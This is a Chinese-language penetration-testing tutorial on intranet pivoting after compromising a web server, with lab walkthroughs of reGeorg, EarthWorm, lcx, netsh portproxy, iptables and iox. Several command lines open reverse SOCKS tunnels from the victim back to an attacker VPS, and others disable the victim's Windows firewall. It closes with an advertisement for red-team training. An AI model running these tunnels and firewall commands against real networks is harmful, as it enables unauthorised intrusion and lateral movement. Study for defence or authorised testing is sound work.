内网渗透之端口转发与代理工具学习

内网转发

在渗透测试过程中进程会用到端口转发,我们可以利用代理脚本将内网的流量代理到本地进行访问这样极大的方便了我们对内网进行横向渗透。常见内网转发工具的分类:

代理工具:

reGeorg端口转发

reGeory适用于公网服务器只开放了80端口的情况。reGeorg是用 python 写的利用Web进行代理的工具,流量只通过 http 传输,也就是http隧道。reGeorg脚本的特征非常明显,很多杀软都会进行查杀。现在有这么一个环境,我们获取到了位于公网Web服务器的权限,或者我们拥有可以往公网Web服务器web目录下上传任何文件的权限,但是该服务器开启了防火墙,只开放了80端口。内网中存在另外一台主机,这里假设内网存在一台Web服务器。然后,我们现在要将公网Web服务器设置为代理,通过公网服务器的80端口,访问和探测内网Web服务器的信息。

根据公网服务器网站是哪种脚本类型上传哪种类型的脚本。这里我搭建的是PHP网站,我就上传tunnel.nosocket.php脚本上去。

实验:本地能和对方192.168.1.111通讯,对方双网卡,能与内网192.168.138.138通讯将脚本上去上去访问一些脚本,可以访问!上传成功

然后使用脚本reGeorgSocksProxy.py脚本监听一个端口,建立一条通讯链路

python2.exe .\reGeorgSocksProxy.py -u -p 1080

然后我们就可以利用一些代理工具Proxychains、Proxifier来进行代理

Proxychains配置:在/etc/proxychains.conf ,将代理设置成本机的1080端口:socks5 127.0.0.1 1080然后命令前面加上 proxychains即可。如:proxychains curl 192.168.138.138

这里我在windows平台,所以使用Proxifier来进行代理

这里需要注意的是,要将python.exe添加到例外,不然会死循环

这样的话就通过192.168.1.111主机的代理访问到了内网主机的WEB页面了。

当然也可以代理远程桌面,右击远程桌面就在选择Proxifier进行代理

EW(EarthWorm)代理

EarthWorm是一套便携的网络工具,具有SOCKS5服务架设和端口转发两个核心功能。EarthWorm能过够以正向、反向、多级级联等方式建立网络隧道。EarthWorm提供多个文件适用不同的操作系统!

ew_for_Win.exe适用各种Windows系统(X86指令集、X64指令集)Windows7、Windows XPew_for_Linux32各常见Linux发行版 (X86 指令集 CPU)Ubuntu(X86)/BT5(X86)ew_for_linux64各常见Linux发行版 (X64 指令集 CPU)Ubuntu(X64)/Kali(X64)ew_for_MacOSX64MacOS系统发行版 (X64 指令集)苹果PC电脑,苹果serverew_for_Arm32常见Arm-Linux系统HTC New One(Arm-Android)/小米路由器(R1D)ew_mipsel常见Mips-Linux系统 (Mipsel指令集 CPU)萤石硬盘录像机、小米mini路由器(R1CM)

该工具共有 6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。普通网络环境的正向连接命令是ssocksd,用于反弹连接的命令是rcsocks、rssocks。其他命令用于多级级联网络环境。

正向连接SOCKS5服务器,把EW上传到对方服务器

ew_for_Win.exe -s ssockse -l 8888LINUX系统:Linux系统直接使用proxychains来获取代理。修改配置文件/etc/proxychains.conf,socks5 对方服务器IP 8888WINDOWS系统:可以使用浏览器设置代理:对方服务器IP :8888端口,或者利用Proxifier 、sockscap64设置代理

反弹SOCKS5服务器。这个意思是反弹到VPS端口8888然后我们在访问1080就可以访问到目标的内网了。就是将8888端口转发给VPS的1080

先将EW上传到VPS中使用命令:ew_for_linux64 -s rcsocks -l 1080 -e 8888接着在上传EW到目标主机使用命令:ew_for_linux64 -s rssocks -d VPS_IP -e 8888

实验过程:正向连接的过程和reGeorg差不多,也是上传过去之后,代理端口之后使用proxychains、Proxifier进行代理。这里就实验反弹SOCKS5代理!本地能和对方192.168.1.111通讯,对方双网卡,能与内网192.168.138.138通讯!

把EW分别上传到VPS和对方机器上面,接着在VPS上面操作:./ew_for_linux64 -s rcsocks -l 1008 -e 8888

然后在对方机器上操作:ew_for_Win.exe -s rssocks -d VPS地址 -e 8888

接着使用代理工具代理即可,在配置文件/etc/proxychains.conf修改IP为VPS的IP和连接的端口。使用proxychains代理成功!

Proxifier代理配置和之前使用reGeorg配置Proxifier差不多,不过这里不用过滤掉python.exe。

配置好了之后就可以就可以远程登陆内网主机了!

LXC端口转发

Lcx是基于socket套接字实现的端口转发工具,有Windows和Linux版本。Windows版是lcx.exe,Linux版是portmap本地端口映射实验:

访问规则:攻击者可以访问WEB服务器的80端口,但是访问不了内网主机

假设拿到了对方web服务器的权限,这个时候可以通过9080端口远程连接对方内网服务器3389端口,用到LXC端口转发技术来实现。

在目标机器执行命令:Lcx.exe -tran 9080192.168.138.1383389这个意思是将内网目标的3389端口的流量转到9080端口送出去。然后就可以访问对方的9080端口访问到3389

在对方上面执行命令,然后直接访问对方53端口就可以把流量转发到对方的3389了:

内网端口转发实验:

访问规则:攻击者可以访问WEB服务器WEB服务器可以访问内网的服务器攻击者不可以访问内网的服务器

假设拿到了一个web服务器的权限,它联通了内网可以访问内网,现在要通过web服务器访问到内网中主机的资源来进一步渗透,这个时候就需要web服务器中中间的跳板,也就是代理的作用来访问我们访问不到的内网主机。

VPS <==========||=======> web服务器 <==========> 内网服务器|双网卡 内网IP:192.168.138.138攻击机器 公网IP:192.168.1.111 内网IP:192.168.138.136 首先上传lcx到web服务器输入命令:Lcx.exe -slave VPS_ip1080 192.168.138.138 3389VPS上面配置:wine Lcx.exe -listen 1080 8080 #wine是可以在linux上执行.exe文件(这里我是没有linux版本的哈哈哈!)

配置好之后就可以访问内网啦,向访问一些访问不了的目标内网的内网服务器。在浏览器输入VPS的地址加上VPS转发的端口就可以访问到对方内网的服务器了

当然还有一个方法就是我们可以访问WEB服务器,内网有服务器。但是测试出来对方除了80和53端口,其他的流量都不出口。这个时候可以通过53端口把流量引出来

访问规则:攻击者可以访问WEB服务器的80端口,对方DNS流量通往外网但是其他端口除了80都关闭了WEB服务器配置:lcx.exe -tran 53 192.168.138.138 80

然后我们访问内网主机的服务器也是可以访问到的

Netsh进行端口转发

netsh(Network Shell) 是一个windows系统本身提供的功能强大的网络配置命令行工具。自Windows XP开始,Windows中就内置网络端口转发的功能。任何传入到本地端口的TCP连接(IPv4或IPv6)都可以被重定向到另一个本地端口,或远程计算机上的端口,并且系统不需要有一个专门用于侦听该端口的服务。

基础命令使用Portproxy模式下的Netsh命令即能实现Windows系统中的端口转发,转发命令如下

netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport

解释一下这其中的参数意义

listenaddress -- 等待连接的本地ip地址

listenport -- 本地监听的TCP端口(待转发)

connectaddress -- 被转发端口的本地或者远程主机的ip地址

connectport -- 被转发的端口

环境如下,我们要通过WEB服务器去访问内网我们访问不到的服务器。注意:需要以管理员身份启动命令提示符并执行以下命令:

VPS <==========||=======> web服务器 <==========> 内网服务器|双网卡 内网IP:192.168.138.138攻击机器 公网IP:192.168.1.111 内网IP:192.168.138.136 转发语法:netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destportlistenaddress – 等待连接的本地IP地址。listenport – 本地侦听TCP端口。connectaddress – 将传入连接重定向到本地或远程IP地址(或DNS名称)。禁用系统防火墙netsh firewall set opmode disable启用防火墙netsh firewall set opmode enable# windows 7 及以上netsh advfirewall set allprofiles state off / on进行端口转发netsh interface portproxy add v4tov4 listenaddress=192.168.1.111 listenport=1080 connectaddress=192.168.138.138 connectport=3389 #新建一个端口映射,将外网网卡192.168.1.111的1080端口和192.168.138.138的3389端口做个映射netsh interface portproxy show all#查看端口映射

这个时候我们可以通过访问WEB服务器的1080端口,然后WEB服务器的1080端口将流量转发给内网服务器的3389。当我们用完代理之后就可以删除这个端口转发了

netsh interface portproxy delete v4tov4 listenaddress=192.168.1.111 listenport=1080 #删除端口映射

如果想要清空当前所有的配置规则,命令如下:

netsh interface portproxy reset

当然也可以适用转发内网主机是LINUX或者其他的,都一样的只是要按照当前的环境来配置好就OK了!

Iptables进行端口转发

IPTABLES 是与最新的 3.5 版本 Linux 内核集成的 IP 信息包过滤系统。如果 Linux 系统连接到因特网或 LAN、服务器或连接 LAN 和因特网的代理服务器, 则该系统有利于在 Linux 系统上更好地控制 IP 信息包过滤和防火墙配置。所有的Linux发行版都能使用iptables

WEB服务器:192.168.1.47内网机器:192.168.1.111首先Linux开启路由转发功能: echo 1 > /proc/sys/net/ipv4/ip_forward iptables的INPUT链配置允许: iptables -P INPUT ACCEPT 配置iptables的转发规则,这个规则是将192.168.1.47的5555端口的数据包全部转为ip192.168.1.111的3389。这一步只是把数据包地址转换过来: iptables -t nat -A PREROUTING -d 192.168.1.47 -p tcp -m tcp --dport 5555 -j DNAT --to-destination 192.168.1.111:3389 把IP地址192.168.8.4端口3389的数据包从192.168.1.47这个地址上走iptables -t nat -A POSTROUTING -d 192.168.1.111 -p tcp -m tcp --dport 3389 -j SNAT --to-source 192.168.1.47 iptables -A FORWARD -o eth0 -d 192.168.1.111 -p tcp --dport 3389 -j ACCEPT 重启iptables服务器/etc/init.d/iptables save && /etc/init.d/iptables restart

接着远程登陆192.168.1.47的5555端口就可以访问192.168.1.111的3389端口了

iptables 规则清空命令::iptables -F INPUTiptables -F FORWARDiptables -F POSTROUTING -t natiptables -t nat -F

如果是转发ssh的话也是一样的,把内网22端口转发流量过来WEB服务器就可以了!

iptables -t nat -A PREROUTING -d 192.168.1.47 -p tcp -m tcp --dport 2222 -j DNAT --to-destination 192.168.1.114:22iptables -t nat -A POSTROUTING -d 192.168.1.114 -p tcp -m tcp --dport 22 -j SNAT --to-source 192.168.1.47iptables -A FORWARD -o eth0 -d 192.168.1.114 -p tcp --dport 22 -j ACCEPT/etc/init.d/iptables save && /etc/init.d/iptables restart

iox代理工具

iox功能类似于lcx / ew,但是iox优于它们。网络编程逻辑优化于lcx / ew ,并且提供了流量加密的功能,还能提供UDP流量转发。iox是基于Goland语言编写的。下载下来的都是源码。首先我在我的Go目录下的src子目录下克隆下了项目。然后使用go build iox编译成.exe文件

项目地址:https://github.com/EddieIvan01/iox

iox特性

具有流量加密

友好的命令行参数

逻辑优化

UDP流量转发

用法所有的参数都是统一的。

-l/--local意为监听本地端口;-r/--remote意为连接远端主机

两种模式fwd:

监听 0.0.0.0:8888 和0.0.0.0:9999,将两个连接间的流量转发

./iox fwd -l 8888 -l 9999for lcx:./lcx -listen 8888 9999

监听0.0.0.0:8888,把流量转发到1.1.1.1:9999

./iox fwd -l 8888 -r 1.1.1.1:9999for lcx:./lcx -tran 8888 1.1.1.1 9999

连接1.1.1.1:8888和1.1.1.1:9999, 在两个连接间转发

./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999for lcx:./lcx -slave 1.1.1.1 8888 1.1.1.1 9999

proxy:在本地 0.0.0.0:1080启动Socks5服务

./iox proxy -l 1080for ew:./ew -s ssocksd -l 1080

在被控机开启Socks5服务,将服务转发到公网VPS在VPS上转发0.0.0.0:9999到0.0.0.0:1080你必须将两条命令成对使用,因为它内部包含了一个简单的协议来控制回连

./iox proxy -r 1.1.1.1:9999./iox proxy -l 9999 -l 1080 // 注意,这两个端口是有顺序的for ew:./ew -s rcsocks -l 1080 -e 9999./ew -s rssocks -d 1.1.1.1 -e 9999

接着连接内网主机

# proxychains.conf# socks5://1.1.1.1:1080$ proxychains rdesktop 192.168.0.100:3389

启用加密举个栗子,我们把内网3389端口转发到VPS

// 被控主机./iox fwd -r 192.168.0.100:3389 -r *1.1.1.1:8888 -k // 我们的VPS./iox fwd -l *8888 -l 33890 -k

很好理解:被控主机和VPS:8888之间的流量会被加密,预共享的密钥是AAA,iox会用这个密钥生成种子密钥和IV,并用AES-CTR流加密所以,*应该成对使用

./iox fwd -l 1000 -r *127.0.0.1:1001 -k ./iox fwd -l *1001 -r *127.0.0.1:1002 -k ./iox fwd -l *1002 -r *127.0.0.1:1003 -k ./iox proxy -l *1003 -k $ curl google.com -x socks5://127.0.0.1:1000

你也可以把iox当做一个简单的ShadowSocks来用:

// ssserver./iox proxy -l *9999 -k // sslocal./iox fwd -l 1080 -r *VPS:9999 -k

UDP转发只需要添加命令行参数:-u

./iox fwd -l 53 -r *127.0.0.1:8888 -k-u./iox fwd -l *8888 -l *9999 -k-u./iox fwd -r *127.0.0.1:9999 -r 8.8.8.8:53 -k-u

注意:当你做多级连接的转发时,Remote2Remote-UDP-mode必须最后一个被启动,也就是上面示例中的第三条UDP转发可能会有一些不合你预期的行为。实际上,目前在GitHub上只有将本地监听的UDP流量转发到远程主机的例子,所以我只能以我的理解来实现

场景实验:现在还是这个场景,攻击者不能访问内网的服务器,能访问WEB服务器,WEB服务器可以访问内网的服务器。这里通过WEB服务器转发内网主机的3389端口访问内网的服务。

在WEB服务器上执行命令,转发内网主机的80端口到WEB服务器的3389端口上面:iox.exe fwd -l 8888 -r 192.168.138.138:3389#类似于的lcx:./lcx -tran 8888 192.168.138.138 3389

访问成功。通过转发端口可以访问到内网主机的3389

假设拿到了一个web服务器的权限,它联通了内网可以访问内网,现在要通过web服务器访问到内网中主机的资源来进一步渗透,这个时候就需要web服务器中中间的跳板,也就是代理的作用来访问我们访问不到的内网主机。

VPS <==========||=======> web服务器 <==========> 内网服务器|双网卡 内网IP:192.168.138.138攻击机器 公网IP:192.168.1.111 内网IP:192.168.138.136 现在我们在VPS上面监听端口,本地转发端口流量,将目标主机的6666端口流量转发到本地2323端口wine iox.exe fwd -l 6666 -l 2323

接着在目标机器上面执行命令,把内网机器的3389端口从6666端口转出流量iox.exefwd -r VPS_IP:6666 -r 192.168.138.138:3389

接着我们访问VPS_IP的2323端口就可以访问到内网主机的3389端口了

iox的Proxy代理功能

首先在目标机器上开启Socks5服务:iox.exe proxy -l 1080

接着在VPS上监听一个端口,这个端口等下要和目标主机转发的端口相对于,然后再转发1080端口:wine iox.exe proxy -l 8888 -l 1080

如果对方链接过来会提示对端链接成功!

这个时候再目标主机上面再配置命令,把VPS对应的8888端口对接起来建立链接!iox.exe proxy -r VPS_IP:8888

然后可以使用 proxychains 或者 proxifier进行代理,这个我用proxifier进行代理,配置VPS的IP端口为1080。配置好了之后就可以访问内网主机的3389端口了!

~ ~ ~ ~ 如有错误,多多指点!

渗透测试【红队攻防 - 内网渗透】培训服务

 专注于职业渗透场景下的尖端技术培训 · 5号黯区

偷偷告诉你,他们家有任职国家某密秘渗透队的讲师噢。后台回复内网可获取课程大纲和公开课。